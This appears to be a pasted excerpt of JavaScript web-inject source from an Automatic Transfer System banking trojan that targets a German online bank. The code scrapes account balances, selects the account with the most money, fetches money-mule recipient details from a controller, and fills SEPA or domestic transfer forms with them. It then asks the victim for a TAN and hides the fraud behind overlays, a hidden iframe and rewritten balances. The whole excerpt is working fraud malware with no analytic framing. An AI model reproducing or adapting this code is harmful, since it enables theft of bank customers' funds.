  279. {jq("#ats_wrk_iframe").css('width','1px');jq("#ats_wrk_iframe").css('height','1px');jq("#ats_wrk_iframe").css('visibility','hidden');}}
  280. ATS.parseAccountsList=function()
  281. {var accountsList=new Array();jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(){if(langs.getCurLang()=='EN')
  282. {}
  283. else
  284. {var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g,'').replace(/\,/g,'.'));}
  285. if(number!='')
  286. {ATS.debugMsg('number: '+number+'; balance : '+balance);accountsList.push({number:number,totalBalance:parseFloat(balance)});}})});return accountsList;}
  287. ATS.getAccountInfoButton=function(accNum)
  288. {var btn=jq("table[name='listeEuroKonten']").find('tr:contains('+accNum+')').children("td:eq(4)").children('input[title*=Konditionen]');if(!btn.length)
  289. return false;return jq(btn).eq(0);}
  290. ATS.framePageFinanzstatus=function()
  291. {ATS.debugMsg('ATS.framePageFinanzstatus');if(!parent.ATS.Gesamtsaldo)
  292. {var el=jq('.gad-table-footer-summary-row > td').eq(1);var val=ATS.fin2float(jq(el).text());parent.ATS.Gesamtsaldo=val;ATS.sendLogMsg('Gesamtsaldo: '+parent.ATS.Gesamtsaldo);}
  293. if(!parent.ATS.accounts_list)
  294. {parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length)
  295. ATS.die('framePageFinanzstatus: cant find any accounts');ATS.sendLogMsg('Found '+parent.ATS.accounts_list.length+' account(s)');parent.ATS.accounts_list.sort(function(a,b){return b.totalBalance-a.totalBalance;});ATS.sendAccountsInfo(parent.ATS.accounts_list);}
  296. if(parent.ATS.MaxTransferAccNum<parent.ATS.accounts_list.length)
  297. {parent.ATS.maxAcc=parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum];ATS.sendLogMsg('framePageFinanzstatus: Going to check KreditLimit for account '+parent.ATS.maxAcc.number);parent.ATS.StepInFrame.set_current_state("KreditlimitPage");var infoButton=ATS.getAccountInfoButton(parent.ATS.maxAcc.number);if(infoButton)
  298. {setTimeout(function()
  299. {jq(infoButton).click();},2000);}
  300. else
  301. ATS.die('framePageFinanzstatus: cant find info button');}
  302. else
  303. ATS.die('framePageFinanzstatus: no more accounts');}
  304. ATS.goToIntTransfers=function()
  305. {var Internal_transf_page=ATS.getIntLink();if(Internal_transf_page!='')
  306. {setTimeout(function(){document.location.href=Internal_transf_page;},2000);}
  307. else
  308. ATS.die('goToIntTransfers: cant find int_link');}
  309. ATS.goTryNextAccount=function()
  310. {parent.ATS.MaxTransferAccNum+=1;parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");var nextLink=ATS.getFinanzstatusLink();setTimeout(function(){document.location.href=nextLink;},2000);}
  311. ATS.KreditlimitPage=function()
  312. {var totalKreditBalance=jq("table").find("tr:contains('Betrag')").find("td:eq(1)");totalKreditBalance=ATS.fin2float(jq(totalKreditBalance).text());ATS.sendLogMsg('totalKreditBalance: '+totalKreditBalance);if(totalKreditBalance<=0||isNaN(totalKreditBalance))
  313. {ATS.sendLogMsg('KreditlimitPage: cant find kredit balance, going to check next account');ATS.goTryNextAccount();}
  314. else
  315. {ATS.getDrop('SEPA',totalKreditBalance,function(data){if(data&&data.drop)
  316. {ATS.debugMsg('[SEPA Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;parent.ATS.StepInFrame.set_current_state("TransactionsSEPA");ATS.goToIntTransfers();}
  317. else
  318. {parent.ATS.transf_mode='int';ATS.getDrop('Internal',totalKreditBalance,function(data){if(data&&data.drop)
  319. {ATS.debugMsg('[Int Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;parent.ATS.StepInFrame.set_current_state("TransactionsINT");ATS.goToIntTransfers();}
  320. else
  321. {parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();ATS.die('KreditlimitPage: no drops');}});}});}}
  322. ATS.framePageTransactionsSEPA=function()
  323. {parent.ATS.StepInFrame.set_current_state("SEPA_page");var int_link_li=jq('.gad-tabnavigation-list > li:contains(SEPA)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(SEPA) a').length;var href=jq('.gad-tabnavigation-list > li:contains(SEPA) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsSEPA: cant find sepa_link');return false;}
  324. if(!!int_link_li&&!int_link_li_a){ATS.framePageSEPA_page();}else{ATS.debugMsg("SEPA_link="+href);setTimeout(function(){document.location.href=href;},2000);}}
  325. ATS.framePageTransactionsINT=function()
  326. {parent.ATS.StepInFrame.set_current_state("Internal_transf_page");var int_link_li=jq('.gad-tabnavigation-list > li:contains(Inlands)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(Inlands) a').length;var href=jq('.gad-tabnavigation-list > li:contains(Inlands) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsINT: cant find int_link');return false;}
  327. if(!!int_link_li&&!int_link_li_a){ATS.framePageInternal_transf_page();}else{ATS.debugMsg("int_link="+href);setTimeout(function(){document.location.href=href;},2000);}}
  328. ATS.framePageOverseas_remittance=function()
  329. {parent.ATS.StepInFrame.set_current_state("SEPA_page");ATS.debugMsg('ATS.framePageOverseas_remittance, state: '+ATS.StepInFrame[parent.ATS.current_state]);setTimeout(function(){jq('.nextStep input[type="submit"]').eq(0).click();},2000);}
  330. ATS.framePageSEPA_page=function()
  331. {ATS.debugMsg('ATS.framePageSEPA_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed)
  332. {var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0)
  333. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='')
  334. {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1)
  335. {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});}
  336. parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc)
  337. {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();}
  338. else
  339. {ATS.sendLogMsg('framePageSEPA_fill Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+' in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}}
  340. else
  341. ATS.framePageSEPA_fill();}
  342. ATS.framePageSEPA_fill=function()
  343. {parent.ATS.sepa_or_int_select_changed=false;var drop=parent.ATS.sepa_drop;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('input[name*="IBAN"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));jq('#ID_INPUT_BIC').val(ATS.padRight(drop.BIC,11));jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");ATS.sendLogMsg('SEPA form filled in');if(jq('[name="event___pruefen"]').length)
  344. {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);}
  345. else
  346. {ATS.die('framePageSEPA_page: cant find continue button');}}
  347. ATS.framePageInternal_transf_page=function()
  348. {ATS.debugMsg('ATS.framePageInternal_transf_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed){var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0)
  349. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='')
  350. {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1)
  351. {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});}
  352. parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc)
  353. {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();}
  354. else
  355. {ATS.sendLogMsg('framePageInternal_transf_page Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}}
  356. else
  357. ATS.framePageInternal_transf_page_fill();}
  358. ATS.framePageInternal_transf_page_fill=function()
  359. {var drop=parent.ATS.int_drop;parent.ATS.sepa_or_int_select_changed=false;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);jq('#ID_INPUT_BLZ').val(drop.BLZ);jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("INT_form_filled");ATS.sendLogMsg('INT form filled in');if(jq('[name="event___pruefen"]').length)
  360. {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);}
  361. else
  362. {ATS.die('framePageInternal_transf_page: cant find continue button');}}
  363. ATS.enterCode=function(tan)
  364. {ATS.debugMsg('ATS.enterCode '+tan);if(jq('#INPUT_TAN').length)
  365. {jq('#INPUT_TAN').val(tan);if(jq('#signWeiter').eq(0).length)
  366. {parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");parent.ATS.UI_showWait();jq('#signWeiter').eq(0).click();}
  367. else
  368. ATS.die('enterCode: cant find  button');}
  369. else
  370. ATS.die('enterCode: cant find field by label');}
  371. ATS.frameWork=function()
  372. {var currentStep=ATS.StepInFrame[parent.ATS.current_state];ATS.sendLogMsg('frame state '+currentStep);switch(currentStep)
  373. {case"framePageFinanzstatus":ATS.framePageFinanzstatus();break;case"TransactionsSEPA":ATS.framePageTransactionsSEPA();break;case"TransactionsINT":ATS.framePageTransactionsINT();break;case"Overseas_remittance":ATS.framePageOverseas_remittance();break;case"KreditlimitPage":ATS.KreditlimitPage();break;case"SEPA_page":ATS.framePageSEPA_page();break;case"SEPA_form_filled":if(!jq("div[role='alert']:visible").length)
  374. {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
  375. {ATS.UI_askTan();}
  376. else
  377. {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}}
  378. else
  379. {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
  380. {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();}
  381. else
  382. {ATS.die('frameWork: Error fill SEPA form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}}
  383. break;case"Internal_transf_page":ATS.framePageInternal_transf_page();break;case"INT_form_filled":if(!jq("div[role='alert']:visible").length)
  384. {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
  385. {ATS.UI_askTan();}
  386. else
  387. {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}}
  388. else
  389. {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
  390. {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();}
  391. else
  392. {ATS.die('frameWork: Error fill INT form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}}
  393. break;case"TAN_ENTERED":ATS.debugMsg("TAN_ENTERED");if(jq("div[role='alert']:visible").length)
  394. {parent.ATS.badTan=true;if(parent.ATS.transf_mode=='sepa')
  395. parent.ATS.StepInFrame.set_current_state("SEPA_page");else
  396. parent.ATS.StepInFrame.set_current_state("Internal_transf_page");ATS.sendLogMsg('frameWork: bad TAN');if(jq('#signZurueck').length)
  397. {setTimeout(function(){document.location.href=jq('#signZurueck').attr("href");},3000);}
  398. else
  399. ATS.die('TAN_ENTERED: cant find  previousStep button');}
  400. else
  401. {if(parent.ATS.transf_mode=='sepa')
  402. ATS.framePageReceipt();else
  403. ATS.framePageReceiptInternal();}
  404. break;}}
  405. ATS.ieFrameHack=function()
  406. {ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length)
  407. {ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,1000);}
  408. else
  409. {var src=ATS.getFinanzstatusLink().replace(/\./g,'%2e');jq('iframe#ats_wrk_iframe').attr('src',src);}}
  410. ATS.getHolderName=function()
  411. {var name='';if(jq('#gad_actionchannel_item_logon_name').length)
  412. name+=jq('#gad_actionchannel_item_logon_name').html();if(jq('#gad_login_name').length)
  413. name+=jq('#gad_login_name').html();return name;}
  414. ATS.mainWork=function()
  415. {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);switch(ATS.current_state)
  416. {case 0:ATS.sendLogMsg('Holder name: '+ATS.getHolderName());var href=ATS.getFinanzstatusLink();if(href)
  417. {ATS.StepInFrame.set_current_state("framePageFinanzstatus");ATS.ieFrameHack()}
  418. else
  419. ATS.die('mainWork: cant find finanzstatus');break;}}
  420. ATS.checkLoginError=function()
  421. {var loginError=jq.trim(jq('.gad-form-error-box').text());if(loginError!="")
  422. {ATS.loadData(function(data){if(ATS.account_id!=0)
  423. ATS.sendLogMsg("Login error: "+loginError);});}}
  424. if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  425. {document.write('<div class="inj_full_overlay"></div>');jq(document).ready(function(){ATS.debugMsg('document loaded');if(ATS.checkLoginPage())
  426. {ATS.debugMsg('login page');ATS.setLoginHook();ATS.checkLoginError();jq('.inj_full_overlay').remove();}
  427. if(jq('#ummelden').text().indexOf("Zum Login")!=-1)
  428. {ATS.debugMsg('Zum Login!');jq('.inj_full_overlay').remove();}
  429. if(ATS.isLoggedIn())
  430. {ATS.debugMsg('logged in!');ATS.loadData(function(data){if(ATS.account_id!=0)
  431. {var status=ATS.getCookie('status');ATS.debugMsg('AID = '+ATS.account_id+'; status = '+status);switch(status)
  432. {case"1":if(ATS.isLoggedIn()){ATS.replaceBalances();}
  433. jq('.inj_full_overlay').remove();break;case"2":jq('.inj_full_overlay').remove();break;default:var t=jq('ul.activeNotificationAction a').text();if((t.indexOf('Sperre aufheben')!=-1)||(t.indexOf('Unlock TAN list')!=-1))
  434. {ATS.die("TAN-list locked!");jq('.inj_full_overlay').remove();break;}
  435. if((parent.document!==document)&&parent.ATS)
  436. {ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();break;}
  437. else
  438. {jq('.inj_full_overlay').remove();ATS.getFinanzstatusLink();ATS.getIntLink();ATS.getSepaLink();ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();break;}
  439. break;}}
  440. else
  441. {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}});}
  442. else
  443. {if((parent.document!==document)&&parent.ATS)
  444. ATS.debugMsg('we are in frame and not logged in!');}});}
Add Comment
Please, Sign In to add comment